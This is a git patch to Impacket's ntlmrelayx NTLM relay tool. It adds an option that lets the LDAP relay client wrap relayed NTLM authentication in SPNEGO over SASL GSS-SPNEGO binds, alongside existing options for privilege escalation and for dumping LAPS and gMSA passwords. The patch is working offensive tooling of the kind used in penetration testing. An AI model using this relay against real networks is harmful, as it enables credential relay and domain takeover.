From e7c7b700b325e6a272ec023e317bb5fb6083a522 Mon Sep 17 00:00:00 2001 From: Roman Karwacik Date: Thu, 12 Feb 2026 13:06:15 +0100 Subject: [PATCH] Add option for ntlmrelayx.py LDAP client to wrap NTLM in GSSAPI/SASL --- examples/ntlmrelayx.py | 3 +- .../ntlmrelayx/clients/ldaprelayclient.py | 70 ++++++++++++++----- impacket/examples/ntlmrelayx/utils/config.py | 6 +- 3 files changed, 58 insertions(+), 21 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 87b37a88b7..e3f8de2198 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -195,7 +195,7 @@ def start_servers(options, threads): c.setLootdir(options.lootdir) c.setOutputFile(options.output_file) c.setdumpHashes(options.dump_hashes) - c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.use_sasl_gssapi) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port, options.icpr_ca_name) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) @@ -398,6 +398,7 @@ def stop_servers(threads): ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the record to DNS via LDAP pointing to ') + ldapoptions.add_argument('--use-sasl-gssapi', action='store_true', required=False, help='Use NTLM via GSSAPI/SASL instead of Sicily (Useful for non-Windows DCs)') #Common options for SMB and LDAP commonoptions = parser.add_argument_group("Common options for SMB and LDAP") diff --git a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py index 63536bae23..69a996ca14 100644 --- a/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py @@ -25,15 +25,16 @@ from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD from ldap3.operation import bind try: - from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED + from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED, RESULT_SASL_BIND_IN_PROGRESS except ImportError: LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'") sys.exit(1) from impacket.examples.ntlmrelayx.clients import ProtocolClient +from impacket.ldap.ldap import BindRequest from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION -from impacket.spnego import SPNEGO_NegTokenResp +from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] @@ -44,7 +45,7 @@ class LDAPRelayClient(ProtocolClient): PLUGIN_NAME = "LDAP" MODIFY_ADD = MODIFY_ADD - def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): + def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.negotiateMessage = None @@ -84,25 +85,46 @@ def sendNegotiate(self, negotiateMessage): with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True - request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') - response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) - result = response[0] - try: - sicily_packages = result['server_creds'].decode('ascii').split(';') - except KeyError: - raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) - - if 'NTLM' in sicily_packages: # NTLM available on server - request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) + if not self.serverConfig.usesaslgssapi: + request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] - if result['result'] == RESULT_SUCCESS: + try: + sicily_packages = result['server_creds'].decode('ascii').split(';') + except KeyError: + raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) + + if 'NTLM' in sicily_packages: # NTLM available on server + request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) + response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) + result = response[0] + if result['result'] == RESULT_SUCCESS: + challenge = NTLMAuthChallenge() + challenge.fromString(result['server_creds']) + self.sessionData['CHALLENGE_MESSAGE'] = challenge + return challenge + else: + raise LDAPRelayClientException('Server did not offer NTLM authentication!') + else: + SPNEGO_wrapped_negotiateMessage = SPNEGO_NegTokenInit() + SPNEGO_wrapped_negotiateMessage['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] + SPNEGO_wrapped_negotiateMessage['MechToken'] = self.negotiateMessage + + bindRequest = BindRequest() + bindRequest['version'] = 3 + bindRequest["name"] = b"" + bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO' + bindRequest['authentication']['sasl']['credentials'] = SPNEGO_wrapped_negotiateMessage.getData() + + req = self.session.send('bindRequest', bindRequest, None) + response = self.session.post_send_single_response(req) + result = response[0] + if result['result'] == RESULT_SASL_BIND_IN_PROGRESS: + SPNEGO_wrapped_challenge = SPNEGO_NegTokenResp(result['saslCreds']) challenge = NTLMAuthChallenge() - challenge.fromString(result['server_creds']) + challenge.fromString(SPNEGO_wrapped_challenge['ResponseToken']) self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge - else: - raise LDAPRelayClientException('Server did not offer NTLM authentication!') #This is a fake function for ldap3 which wants an NTLM client with specific methods def create_negotiate_message(self): @@ -135,8 +157,18 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): with self.session.connection_lock: self.authenticateMessageBlob = token - request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) - response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) + if not self.serverConfig.usesaslgssapi: + bindRequest = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) + else: + SPNEGO_wrapped_negotiateMessage = SPNEGO_NegTokenResp() + SPNEGO_wrapped_negotiateMessage['ResponseToken'] = token + + bindRequest = BindRequest() + bindRequest['version'] = 3 + bindRequest["name"] = b"" + bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO' + bindRequest['authentication']['sasl']['credentials'] = SPNEGO_wrapped_negotiateMessage.getData() + response = self.session.post_send_single_response(self.session.send('bindRequest', bindRequest, None)) result = response[0] self.session.sasl_in_progress = False diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index c996fa5e69..43e3a5e827 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -191,7 +191,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp): def setRandomTargets(self, randomtargets): self.randomtargets = randomtargets - def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord): + def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, usesaslgssapi=False): self.dumpdomain = dumpdomain self.addda = addda self.aclattack = aclattack @@ -204,6 +204,7 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus self.dumpadcs = dumpadcs self.sid = sid self.adddnsrecord = adddnsrecord + self.usesaslgssapi = usesaslgssapi def setMSSQLOptions(self, queries): self.queries = queries @@ -282,6 +283,9 @@ def setMSSQLDb(self, mssql_db): def setAltName(self, altName): self.altName = altName + def setUseSaslGssapi(self, usesaslgssapi): + self.usesaslgssapi = usesaslgssapi + def parse_listening_ports(value): ports = set() for entry in value.split(","):